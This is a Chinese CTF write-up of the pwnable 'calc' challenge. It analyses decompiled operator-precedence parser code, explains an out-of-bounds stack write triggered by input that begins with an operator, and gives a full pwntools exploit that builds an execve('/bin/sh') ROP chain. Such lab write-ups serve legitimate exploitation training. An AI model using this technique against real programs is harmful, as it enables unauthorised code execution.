pwnable calc题解
这题真有意思
# pwnable calc 题解
对本程序实现了一个简单的计算器
对本程序的逆向首先需要了解编译原理中的算符优先文法,在下面的函数中程序用了两个数组分别当成数栈 nums 和字符栈 signs,其中数栈有点特别,数栈的栈底即 nums [0] 存放了栈的长度即数的个数,在进行输入分析时会使用这两个栈
parse_expr 函数
int __cdecl parse_expr(char *user_input, int *nums)
{
int idx; // eax
char *pointer; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int index; // [esp+28h] [ebp-80h]
int offset; // [esp+2Ch] [ebp-7Ch]
char *num_chunk; // [esp+30h] [ebp-78h]
int num; // [esp+34h] [ebp-74h]
char signs[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int canary; // [esp+9Ch] [ebp-Ch]
// 和编译原理的算符优先文法类似
// 使用两个数组分别存放符号和数字,当遇到优先级高的符号则执行
canary = __readgsdword(0x14u);
pointer = user_input;
index = 0;
bzero(signs, 0x64u);
for ( i = 0; ; ++i )
{
if ( user_input[i] - (unsigned int)'0' > 9 )
{
// 当前为符号则进行下面操作,注意这个判断在结尾即字符等于\x00时也会成立
offset = &user_input[i] - pointer;
num_chunk = (char *)malloc(offset + 1);
memcpy(num_chunk, pointer, offset);
num_chunk[offset] = 0;
if ( !strcmp(num_chunk, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
// 只要数字是0就直接寄,无论加减乘除
}
num = atoi(num_chunk);
if ( num > 0 )
{
idx = (*nums)++;
nums[idx + 1] = num;
// 这里可以看出,这个nums[0]存放的是数字个数,后面可以发现idx是可控的
}
if ( user_input[i] && user_input[i + 1] - (unsigned int)'0' > 9 )
{
puts("expression error!");
fflush(stdout);
// 连着两个符号也寄
return 0;
}
pointer = &user_input[i + 1];
if ( signs[index] )
{
// 符号数组有东西执行操作,优先级判断,当前符号比算符栈顶优先级小时,从算符栈拿一个符号,从数栈拿两个数进行计算
switch ( user_input[i] )
{
case '%':
case '*':
case '/':
// #+ *
if ( signs[index] != '+' && signs[index] != '-' )
goto LABEL_14;
// 如果符号栈顶为+-,则把当前符号入栈
signs[++index] = user_input[i];
break;
case '+':
case '-':
LABEL_14:
// 进行计算,进行计算的两个数为nums末尾的两个数,计算算符为符号栈顶,之后将结果放进前一个数的位置,和栈结构类似,其实就是pop pop 计算 push
eval(nums, signs[index]);
// 计算之后将当前符号入算符栈
signs[index] = user_input[i];
break;
default:
// 到用户输入末尾,直接进行计算
eval(nums, signs[index--]);
break;
}
}
else
{
signs[index] = user_input[i];
}
if ( !user_input[i] )
break;
// 如果此时到达用户输入结尾则退出循环
// 但是这个判断放在了最后,很奇怪
}
}
while ( index >= 0 )
eval(nums, signs[index--]);
return 1;
}
eval 函数
_DWORD *__cdecl eval(_DWORD *nums, char sign)
{
_DWORD *result; // eax
if ( sign == '+' )
{
nums[*nums - 1] += nums[*nums];
}
else if ( sign > '+' )
{
if ( sign == '-' )
{
nums[*nums - 1] -= nums[*nums];
}
else if ( sign == '/' )
{
nums[*nums - 1] /= (int)nums[*nums];
}
}
else if ( sign == '*' )
{
nums[*nums - 1] *= nums[*nums];
}
result = nums;
--*nums;
return result;
}
上面的函数存在以下问题,当用户输入的数据是以符号开头的,则数栈中只有两个数:第一个数 nums [0] 为该数组的长度,第二个数为操作数,那么执行 eval 时则会对 nums [0] 和 nums [1] 进行操作,而 nums [0] 则存放了数栈的大小,而程序由于判断有问题,即使输入不合法也会执行一个 eval,那么就实现了对 nums [idx] 中 idx 的控制,从而可以实现对 nums 的越界读写
如用户输入 +120,此时
nums[0] = 1
nums[1] = 120
执行 eval 后 nums [0] += nums [1] , 此时
nums[0] = 121
数组长度反而变成 121 了,那么在下次如果是输出结果则会输出 nums [121],如果继续读入数时会在 nums [122] 写入这个数,之后执行 eval 时会将结果放进 nums [121] 从而实现数组的越界读写
因为本程序为 32 位静态链接,所有 gadget 可以在程序中找到,故直接在返回地址写上 syscall 的 rop 调用链
exp
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './calc'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = ''
port = ''
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12 : ras(int( p.recv(x) , 10))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(payload):
sla('\n' , payload)
# one_gad = one_gadget(libc.path)
def attack():
# execve 只能是 /bin/sh\x00
syscall = elf.search(asm('int 0x80')).next()
pop_eax_ret = elf.search(asm('pop eax;ret')).next()
pop_edx_ecx_ebx_ret = elf.search(asm('pop edx ; pop ecx ; pop ebx ; ret')).next()
ru('=== Welcome to SECPROG calculator ===')
sl('+360')
ru('-')
ebp = 0xffffffff - rint(7) + 1
stack_addr = ebp
rop_chain = [
pop_edx_ecx_ebx_ret,
0,
0,
stack_addr,
pop_eax_ret,
0xb,
syscall
]
lg('pop_edx_ecx_ebx_ret',pop_edx_ecx_ebx_ret)
cmd( '+361+' + str(0x26d37) )
cmd( '+362-' + str(0x26d37) )
cmd( '+363-' + str(0x26d37) )
cmd( '+364+' + str(stack_addr/2 - 0x26d37 ) )
cmd( '+364+' + str(stack_addr/2 ) )
cmd( '+365-' + str(stack_addr/2 ) )
cmd( '+365+' + str(pop_eax_ret) )
cmd( '+366-' + str(pop_eax_ret&0xfffffff0) )
cmd( '+367-' + str(pop_eax_ret&0xfffffff0) )
cmd( '+367+' + str(syscall) )
cmd( '+368-' + str(syscall) )
cmd( '+368+' + str(0x6e69622f) )
cmd( '+369-' + str(0x6e69622f) )
cmd( '+369+' + str(0x68732f) )
cmd('\n')
# dbg()
# p.success(getShell())
p.interactive()
attack()
'''
@File : calc.py
@Time : 2022/02/06 23:14:52
@Author : Niyah
'''
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。